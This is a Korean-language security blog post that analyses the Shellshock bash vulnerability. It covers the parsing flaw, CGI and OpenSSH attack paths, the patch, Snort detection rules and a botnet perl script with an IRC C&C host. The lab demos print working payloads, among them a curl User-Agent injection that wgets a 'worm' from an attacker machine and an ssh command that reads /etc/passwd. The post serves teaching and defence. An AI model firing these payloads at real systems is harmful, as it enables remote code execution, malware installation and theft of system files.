[Vul] Shellshock (CVE-2014-6271)

우선, 간략하게 CVE-2014-6271 일명 Bash shellshock 취약점에 대하여 설명하고자 한다. 이 취약점은 Akamai Technology의 Stephane Chazelas에 의해 발견되었다. CVE-2014-6271는 대부분의 Linux/Unix System에서 사용되는 shell인 Bash shell에 존재하는 취약점으로, 대략 40년 (혹은 그 이상) 동안 존재해온 취약점이라고 한다. 이러한 측면에서 봤을 때, 특정 Version에만 취약했던 Heartbleed 취약점(CVE-2014-0160)보다 더욱 위험한 공격으로 분류된다. 실제로 위험도를 측정하는 수치 10점 만점 중 10점을 받았다고 한다.

이 공격은 최초 CVE-2014-6271로 CVE 코드를 부여 받은 후, patch 되었다. 그러나 patch된 bash에서 또한 취약점이 탐지되고 patch되고를 몇 번 반복하여 각각 아래와 같은 여러 개의 CVE 코드가 부여되었다.

 

CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277

 

위의 CVE 취약점은 모두 CVE-2014-6271가 patch되면서 추가적으로 발생한 취약점이다. 저 취약점을 모두 상세 분석하기에는 시간이 너무 많이 걸리므로, 이번 글에서는 Original CVE인 CVE-2014-6271과 마지막 patch된 버전(2014년 10월 15일 기준)에 대하여 자세하게 분석해보도록 하겠다.

 

이 취약점을 제대로 이해하기 위해서 필요한 몇 가지 배경지식들이 있다. Bash shell에서 environment variable를 setting하는 방법, Bash라는 프로그램이 동작하는 구조 그리고 더 나아가 PHP CGI가 동작하는 방식이다. (갑자기 왜 PHP CGI가 언급되는지 의아해하는 사람이 있을 수 있다. 인내심을 갖고 이 글을 읽어보면 그 이유를 알 수 있다)

 

Bash 환경변수 세팅
Bash에서 환경변수를 설정하는 방법에 대해서 우선 알아봐야 한다. 이 취약점의 Core가 Bash 환경 설정에 있기 때문이다. 우선, 환경변수가 무엇인지부터 알아보자. Bash shell의 역할 자체가 특정 프로그램을 사용자가 실행할 수 있도록 interface 역할을 사람과 OS 사이에서 해주는 것인데, 사람이 특정 프로그램을 실행할 때 그 프로그램이 실행되데 영향을 줄 수 있는 변수들이다. 이러한 변수는 shell을 통해 사용자가 추가 혹은 삭제해줄 수 있는데 그 방법은 아래와 같다.

 

x라는 변수에 3을 대입하고 싶으면 직관적으로 x=3을 한 후 $x로 변수를 확인하면 된다. 변수가 제대로 setting 되었는지 확인하기 위해 env 명령어를 사용해본다. 확인해보면 x가 setting되어있지 않는 것을 확인할 수 있을 것이다. 아직까지 완벽하게 setting이 된 것이 아니다. 완전히 setting 하기 위해서 export 함수를 통해 해당 변수를 export 해주어야 한다.

 

export 해준 후 env 명령어를 통해 확인이 가능하다. bash에서는 환경변수로 함수를 선언하는 것 또한 가능하다. 함수 선언은 다음과 같이 할 수 있다.

 

 

foo라는 함수를 선언한 후 호출했다. 정상적으로 output으로 hello가 출력되는 것을 확인 할 수 있다. 이 때 주의해야 할 사항이 ‘{‘와 ‘echo’ 사이는 항상 한 칸 이상의 공백이 필요하다는 것이다. 이 공간이 없이 {echo hello; }와 같이 선언하면 syntax error가 발생하는 것을 알 수 있다.

 

 

환경변수를 통해 정의된 함수 역시 export 명령어를 통해 export 해주어야 env 명령어를 통해 함수 정의를 확인할 수 있다. 함수를 export 하기 위해서는 –f 옵션을 같이 해주어야 한다.

예시) export –f foo

이렇게 export를 통해 변수 또는 함수를 export 해주면 현재 bash의 subprocess에서도 해당 변수 또는 함수를 사용 가능하게 된다. 다른 말로, export를 통해 변수나 함수를 export 해주면, 현재 실행되고 있는 bash에서 bash를 실행했을 때 실행되는 subprocess bash에서도 해당 변수나 함수가 사용 가능하다는 말이다. Export를 해주지 않으면 현재 실행되는 bash에서만 해당 변수 또는 함수가 유효하다. Bash에서 한 가지 신기한? 점이라면, 같은 이름으로 함수와 변수를 모두 선언할 수 있다는 것이다.

 

 

foo가 변수 그리고 함수로도 export 되었다. 각각의 변수를 현재의 shell에서 접근하면 어떻게 될까? $foo를 통해 접근하면 변수 접근이 되고 foo로 접근하면 함수 접근이 된다.

 

 

 

여기서 장난을 한번 쳐보자. 함수 foo를 제거하고 변수 foo를 () { echo new func; }로 선언해보자. 우선 ‘export –nf foo’를 통해 함수 foo에 대한 선언을 삭제하고 foo=’() { echo new func; }’를 통해 새로운 함수를 선언해보자. 이 때 foo 함수를 실행하면 이전의 foo 함수 선언인 ‘hello’가 출력된다. ‘new func’은 subshell을 통해 실행하면 된다.

 

 

 

New bash를 통해 실행시켜보니 “new func”이 실행된다. 여기서 중요한 포인트는 실행이 된다는 점이 아니라 foo가 사실은 변수 foo라는 것이다. 정석대로라면 foo() { … } 와 같이 선언을 했어야 했으나 마치 변수 선언하는 것처럼 foo=’() { … }’를 통해서 선언했음에도 subshell에서는 변수 foo가 함수로 인식된다는 것이다. CVE-2014-6271 취약점은 ()로 시작하는 변수가 subshell이 실행되면 { … } 부분이 함수로 인식되는데, 그 이후에 나오는 any command가 실행이 된다는 내용이다.

 

 

 

Bash를 실행시킴으로서 subshell이 실행되었을 뿐인데 시키지도 않은 pwd; echo vulnerable; ls –al;등이 실행이 된다. 위의 취약점을 한 줄로 실행하기 위해서는 bash –c 옵션을 사용하면 된다.

 

Bash 동작 원리
그렇다면 왜 bash의 subprocess를 실행시키면 위의 조작된 명령어가 실행되는 것일까? Bash Process의 전체적인 동작 과정을 알면 그 이유를 알 수 있다. Bash는 아래와 같은 순서로 동작한다.

 

# Bash Process 동작 순서
a. Bash 실행
b. Bash 환경변수 초기화
c. Bash shell prompt 출력
d. 명령어 기다림
e. (명령어를 수행할 경우) 명령어를 문자열로 저장하여 해당 문자열 parsing 수행
f. parsing된 구조체를 이용하여 명령어 수행

 

이 취약점을 설명할 때 가장 중요한 부분은 2번이다. Bash를 실행한 후 shell prompt를 출력하기 전에 반드시 환경변수를 초기화 해준다. 이 과정에서 취약점이 존재하여 아래 그림의 pwd; echo vulnerable; ls –al 등이 실행되는 것이다.

 

 

foo라는 변수를 선언해주고 bash –c를 통해 subprocess를 실행시키는데 이 때 조작된 변수를 환경변수로 초기화해주게 되고 그 과정에서 명령어가 실행된다.

여기서 한 가지 집고 넘어갈 사실이 있다. 저런 공격이라면 분명 취약점은 취약점인데 공격자가 이미 shell을 획득한 상황에서만 가능하다는 것 아닌가? 답을 말하면, 아니다. Shell을 획득하지 않은 상태에서도 위와 같은 취약점을 이용할 수 있다. 위에서 길게 설명했듯이 bash subshell이 실행될 때 { } 이후에 있는 코드가 실행되는 것이다. 따라서 굳이 shell을 통해서가 아니더라도 특정 프로그램이 subshell을 실행한다면 그것이 가능할 수도 있다는 것이다. 어떤 프로그램이 shell을 subshell로서 실행시킬 수 있나? PHP-CGI가 가장 대표적이다.

 

CGI 동작 원리
CGI는 간단하게 말해서 웹서버에서 동작하는 프로그램이라고 보면 된다. CGI를 작성한다는 말은 프로그램 하나를 작성한다는 말이므로 언어가 필요한데, 보통 사용하는 언어가 bash, perl, python 정도가 많은 것으로 알고 있다. 결국 PHP와 같은 Dynamic page 같은 거라고 보면 된다. Bash를 이용해서 CGI를 작성해보자. 작성하기 전에 대표적으로 CGI가 동작하는 순서를 짚어보자.

 

# CGI 동작 과정
a. 사용자가 요청을 보낸다.
b. 웹서버가 사용자의 요청을 확인한다. 사용자의 요청이 cgi 프로그램(executable file)일 경우 해당 cgi를 실행시킨다.
c. CGI가 실행되면 서버는 사용자의 브라우저가 읽을 수 있는 형태의 static html page를 return 하게 되는데, 웹서버가 그 static html page를 사용자에게 전달해준다.
d. 사용자의 browser에서 응답으로 받은 static html page를 읽는다.

 

C과정과 D과정을 다시 한번 읽어보라. 이 뜻은 static html page에 header까지 포함된 데이터가 작성되어야 한다는 뜻이다. 따라서 모든 CGI 프로그램의 첫 부분에는 HTTP 헤더에 대한 정보가 들어가야 한다. 가장 대표적인 HTTP Header Field는 Content-type이다. 해당 페이지가 text/html인지 혹은 그 외의 다른 것인지 알려줘야 한다는 말이다.

 

Bash CGI Script로 간단하게 Hello world를 작성해보자. 

 

실행하면 아래와 같이 실행된다.

 

 

위의 결과를 얻기 위해 요청을 보낼 때 GET /cgi-bin/envchk.cgi …. 와 같이 작성해서 보낸다. 그 HTTP Request Header에는 각각의 라인이 필드와 값으로 이루어져있는데, 각각의 필드는 변수로 저장된다. 쉽게 말해서 CGI를 사용할 때 우리가 자주 보는 HTTP Header의 각 라인은 bash의 환경변수를 통해 접근이 가능하다는 이야기다. 예를 들어, 사용자가 요청한 HTTP Header 내의 User-Agent 필드는 $HTTP_USER_AGENT 변수를 통해 Bash에 의해 접근 가능하다.
따라서 공격을 하기 위해 CGI 스크립트를 요청하되, 가령 User-Agent 필드의 값을 수정해서 임의의 명령어가 실행되도록 조작한 후 요청하면, 취약한 버전의 Bash를 사용 중이라면 공격에 취약하다고 볼 수 있다. 아래의 그림은 cgi를 통해서 실행된 subshell의 환경변수를 출력해주는 예제이다.

 

 

오로지 env명령어를 수행한 결과물을 출력했을 뿐인데, 요청할 때 보낸 HTTP Header의 내용이 환경변수에 고스란히 확인된다.

 

앞에서 살펴봤듯이, CVE-2014-6271는 Bash의 취약점이 Core로 이용되고 해당 취약점을 CGI와 같은 제3의 프로그램을 통해서 인증 과정 없이 실행할 수 있다. 지금부터는 조금 low-level 단으로 들어가서 실제 Bash가 어떤 취약점을 가지고 있는지 디버깅을 통해 그리고 Bash 소스코드를 통해 알아보도록 하겠다.

 

Before patched
우선 patch되기 전의 Bash를 디버깅하여 Remote command가 어떻게 실행되는지 알아보자.

 

위의 그림은 취약한 버전의 mybash에서 아래와 같은 명령어를 수행했을 때 mybash를 통해 얻은 결과물이다.

Mybash> env x='() { :; }; echo vulnerable' /anything/mybash/mybash -c :

 

위의 그림을 보면 mybash에서 다음과 같이 function call이 일어나는 것을 알 수 있다.

main() → shell_initialize () → initialize_shell_variables () → parse_and_execute () → …

 

함수명에서 추측할 수 있다시피 parse_and_execute 함수를 통해 우리가 실행한 명령어 “env x='() { :; }; echo vulnerable' /anything/mybash/mybash -c :” 를 parsing한 후 수행을 하게 될 것이다. parsing 후 실제 실행은 execute_command 함수를 통해 실행된다. 그 과정을 소스코드를 통해 잠시 봐보자.

 

 

parse_command 함수에서 문자열이 parsing되고 그것이 command라는 구조체에 저장된 후 command를 execute_command_internal 함수의 파라미터로 취하여 명령어가 실행된다. parse_command 함수를 통해 명령어가 어떻게 실행되는지 결과만 확인해보자.

 

# 명령어
env x='() { pwd; }; echo vulnerable' /anything/mybash/mybash -c 'ls'

 

# parse_command 함수에 의해 parsing된 결과 

 

위 그림에서 cm_function_def, cm_simple 등은 명령어 type이다. Bash의 소스 코드를 다운받아서 command.h 헤더 파일을 보면 그 구조체를 확인할 수 있고 그 구조체에 따라서 위와 같이 gdb로 디버깅해보면 확인할 수 있다. 이 내용을 이 문서에 작성하면 너무 많은 내용을 작성해야 하므로 해당 내용은 스스로 소스코드를 다운받은 후 분석해보기를 바란다.

아무튼 중요한 내용은 x='() { pwd; }; echo vulnerable'가 parsing될 때 { pwd; }; 이후의 명령어인 ‘echo vulnerable’이 추가적으로 parsing되고 실행된다는 이야기이다. 그 후에 ls 명령어가 parsing되고 실행된다.

 

After patched
마음 같아서는 CVE-2014-6271이후에 나온 취약점에 대한 patch를 각각 분석해보고 싶으나 그건 시간이 너무 오래 걸릴 것 같아서 마지막 patch 버전만 살짝 보기로 했다. 참고로 각 취약점에 대한 patch는 아래의 링크에서 확인 가능하다.

 

http://ftp.gnu.org/gnu/bash/bash-4.3-patches/

 

위 사이트는 Bash patch의 내용을 확인할 수 있는 gnu 공식 사이트이다. Bash43-024부터 Bash43-030까지가 CVE-2014-6271과 그 이후의 관련 취약점에 대한 patch이다. 각각의 patch를 확인해보면 어느 파일에 어떤 patch가 이루어졌는지 확인 가능하다.

아무튼 patched bash에서는 env x='() { pwd; }; echo vulnerable' /anything/mybash/mybash -c 'ls'
와 같은 명령어를 어떻게 수행하는지 보자.

이전의 버전에서는 env의 parameter인 pwd; echo vulnerable 등등이 각각의 구조체에 저장됐었던 것에 반해, 새로운 버전에서는 ‘() { pwd; }; echo vulnerable’가 통째로 하나의 문자열로 저장된다.

 

 

그저 하나의 문자열로 저장되게 수정한 것으로 보인다. patch되기 이전의 parser는 pwd, echo vulnerable 각각을 command 관련된 구조체로 저장했지만, patch된 이후의 parser에서는 그저 하나의 문자열로만 인식하게 된다.

이전이 이미 설명했다시피 이 공격은 제 3의 프로그램에서 Bash가 subprocess로 실행될 때 실행된다. 그리고 대표적인 예가 CGI 이다. CGI 이외에도 Bash를 subprocess로 실행하는 프로그램이 몇 가지 더 있다. OpenSSH와 DHCP에서도 Bash를 subprocess로 사용하는 경우가 있다고 한다.

 

CGI를 이용한 공격

우선, CGI를 이용해서 공격하는 경우를 살펴보자. 공격에 앞서 시현을 한 환경을 간략하게 요약하려 한다.

Vulnerable Server	Attacker client
IP : 192.168.0.106  Web Environment : LAMP (Linux,  Apache2, Mysql, PHP)  CGI : enabled  Bash CGI file : test.cgi	IP : 192.168.0.102  Attack Tool : cURL

 

※ 시현을 하기 전에 한 가지 확인해야 할 것은 Vulnerable Server의 Web Root 권한이다. 웹서버가 실행을 할 수 있는 권한으로 설정이 되어있어야 한다. 가령 root로 되어있다면 공격을 하더라도 실패하게 된다.

 

Vulnerable Server에 존재하는 특정 파일을 삭제해보자. 삭제할 파일은 웹루트(/var/www/)에 있는 abc라는 파일이라고 하자.

 

# 공격 수행 

# 공격 성공 

 

여기서 한가지 눈여겨 봐야할 부분이 있다. 분명히 공격 수행을 할 때는 500 에러를 확인할 수 있었으나, 실제 서버에서는 공격이 성공했다는 것을 확인할 수 있다. 즉, 이 공격이 들어왔을 때 단순 에러코드가 500 이었다는 이유로 “서버에서 에러가 났으니 공격 실패겠군~!” 이런 식으로 판단하면 안 된다는 것이다.

 

다음은 worm을 다운로드해서 실행까지 하는 경우이다.

 

# 공격 수행
SH> curl -A "() { :; }; /bin/bash -c '/usr/bin/wget http://192.168.0.102/worm; /bin/chmod 755 /var/www/worm;" http://192.168.0.106/cgi-bin/test.cgi

 

# 공격 성공 

# worm 실행 

 

이번 역시 500 Internal Error가 출력되었지만 공격은 성공했다.

 

OpenSSH를 이용한 공격
OpenSSH를 이용해서 shellshock를 시현할 수도 있다. 단, OpenSSH의 경우에는 ForceCommand라는 옵션이 설정되어있는 경우에만 가능하다. ForceCommand 옵션은 sshd 설정파일인 sshd_config 파일에서 설정 가능한 옵션으로, 특정 사용자에게 특정 명령어만 실행 후 종료한다. 가령 아래의 설정은 특정 유저인 jkfirst라는 사용자는 오로지 ls –al 명령어만 수행 후 바로 connection close 하게 한다.

 

# sshd_config 

 

 # 정상 Login 결과

 

위의 그림에서 나오지 않았지만 ls –al 명령 후 바로 connection close되었다. Bash shellshock를 이용하면 아래와 같이 공격을 수행하여 ls –al이 아닌 다른 어떤 명령어도 수행가능하다.

 

# 공격 수행 

 

ssh jkfirst@192.168.0.106 뒤에 ‘() { :; }; /bin/cat /etc/passwd’ 와 같이 명령어를 전달했다. 이 명령어는 OpenSSH에서 $SSH_ORIGINAL_COMMAND 환경변수에 전달되고 이 환경변수가 Bash의 환경변수에 저장된다는 것이다. (http://forensic.n0fate.com/ 참고)

 

해당 공격을 탐지하기 위해서는 어떻게 Rule을 작성할 수 있을까? 어렴풋이 생각하기에는 시그니처 기반으로 아래 중 하나로 만들면 될 것 같다.

 

# Signatures
alert tcp any any -> any 80 (content:"() { ";)
alert tcp any any -> any 80 (pcre:" () {.+}.+";)

 

그러나 위의 Signature가 웹 packet에서 탐지될 경우 탐지되게 했다면 다수의 오탐이 있을 것으로 추정된다. 가령

 

function normal_function () {
 print “normal function”
}

 

위와 같은 함수가 응답 패킷으로 올 경우 오탐을 발생시킬 수 있다. 그런데 위의 내용은 무조건 body에 적용된다는 것이다. HTTP header에서 bash가 환경변수로 저장하는 부분은 오로지 HTTP Header 뿐이다. 따라서 “() {”라는 문자열을 http header에서 찾도록 제한할 수 있다. (Body에서 위와 같은 공격을 통해 공격을 수행할 수 있는 취약점이 생기면 어떻하냐고 누군가가 물어본다면 솔직히 할 말 없다.)

 

alert tcp any any -> any 80 (content:"() { "; http_header;)

 

여기에 만일 url에 cgi를 포함한 경우를 추가하고 싶다면 아래와 같이 snort rule을 수정할 수 있지 않을까?

 

alert tcp any any -> any 80 (content:"() { "; http_header; content:".cgi"; http_uri;)

 

snort rule은 거의 6년 전에 잠깐 써본게 전부라서 확신은 가지 않지만 snort rule을 작성하는데 있어서 idea를 제공한다는 생각으로 적어봤다.

CGI를 이용한 bash 취약점은 그렇다고 치고, OpenSSH를 통한 공격은 어떻게 탐지할까? 이 부분이 상당히 골치 아프다. OpenSSH를 통한 트래픽은 private key, public key를 통해 암호화 되어있기 때문에 특정 문자열을 기반으로 탐지하기는 거의 불가능하다고 생각한다. 아쉽게도 이 방법에 대해서는 아직도 특별한 해결책이 떠오르지 않는다.

 

이러한 엄청난 취약점이 발견되었다는 것은 해커에게는 본인의 코드를 실행하게 만들 확률을 높이는 아주 좋은 기회이다. 취약점이 발표됨과 동시에 이를 이용하여 악성 프로그램을 업로드하려는 시도가 곳곳에서 많이 탐지되었다고 한다. 그 중에 하나가 Mayhem이라고 불리는 Worm이다. Mayhem을 꼭 분석해보고 싶지만 Mayhem sample을 찾기 힘들었다. 대신 상세하게 분석해둔 블로그를 몇 개 찾았다.

 

# Mayhem analysis in detail
http://blog.malwaremustdie.org/2014/10/mmd-0029-2015-warning-of-mayhem.html
http://blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-has-only-just.html
http://thehackernews.com/2014/07/mayhem-new-malware-targets-linux-and_24.html

 

Mayhem와 마찬가지로 cpan_root라는 perl 스크립트도 bash shell 취약점을 이용해서 유포되고 있었다. 다행이도 이 perl 스크립트는 다운로드 가능했었고 대략 1000줄 가량되는 perl 스크립트로 보여진다.

이 스크립트가 실행될 때 가장 먼저 하는 것은 irc server에 connection을 연결하는 일이다. Irc server는 스크립트 내에 하드코딩 되어있으며 아래와 같다.

 

따로 $server 변수를 설정해주지 않는 한 fflyy.su:8080으로 기본적으로 접속하게 되며, fflyy.su에 대한 nslookup 결과값은 93.173.93.80이다. IRC 서버에 연결이 되면 서버로부터 request를 기다린다. 이 때 request을 받을 때마다 해당 request를 parsing하여 명령어를 수행한다. Parsing한 결과는 아래의 5가지 case가 되겠다.

 

 

 

위의 명령어들은 IRC protocol에 나와있는 명령어들이다. 433과 001은 각각 nick명령어와 MODE, JOIN 명령어를 수행한다. 중요한 부분은 2.1.2 PRIVMSG이다. 대부분의 공격자의 critical한 공격 수행은 이 명령어로부터 수행된다. Shell 명령어를 수행하거나 portscan, 특정 process kill, ddos attack, flooding attack

위의 perl 스크립트에 대한 더욱 더 자세한 분석은 개인에게 남겨두겠다. 한 가지 이 perl 스크립트에 대하여 더 말하고 싶은 것은, 가령 최초에 특정 서버에 대한 shellshock 취약점이 있었다고 하면, 그 이후에 선언되어있는 IRC 서버와의 통신이 있었는지 없었는지 확인이 필요할 것으로 보인다는 것이다.

 

만일 위의 웹로그에서 위의 worm을 다운로드한 시도가 탐지되었다면 무엇을 해야할까? 공격이 성공했는지 실패했는지 확인을 해야 한다. 공격을 재수행하여 확인할 수도 있겠지만 스크립트를 다운로드 후 분석하여 스크립트 상에서 발견된 C&C 서버와의 통신이 있었는지를 확인하는 것도 해야 한다. 이 때 중요한 것은 initial connection이 어디에서 시작했냐는 것이 중요하다. 그것을 알아보기 위해서는 IDS나 IPS장비가 아닌 방화벽 장비의 로그를 위주로 분석하는 것이 가장 정확하지 않은가 하고 조심스럽게 말해본다.

 

보고서로 작성해둔 내용을 그대로 옮겼다. 오랜만에 포스팅을 해서 또 길게 포스팅하고 간다. 항상 포스팅을 끝낼 때 쯤에는 다음 포스팅은 무엇이 될 지 말을 하고 끝냈는데 이번에는 그러지 않을 거다. 나도 모르기 때문이다. 아마도 이 블로그에 Big Data 관련된 포스팅 폴더가 새로 생길지도 모르고 혹은 그 외에 취약점 포스팅이 생기게 될 지도 모른다. 아무튼 중요한 것은 이 블로그에도 포스팅을 새로 시작했다는 것이다. 위의 분석을 하느라 참고했었던 레퍼런스들을 아래에 살짝 남겨둔 체 이번 포스팅 마무리 하겠다.

 

Reference
http://boho.or.kr/upload/file/EpF859.pdf
http://www.cs.cf.ac.uk/Dave/PERL/node200.html
http://forensic.n0fate.com/2014/09/cve-2014-6271/
http://blog.malwaremustdie.org/2014/10/mmd-0029-2015-warning-of-mayhem.html
http://blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-has-only-just.html
http://thehackernews.com/2014/07/mayhem-new-malware-targets-linux-and_24.html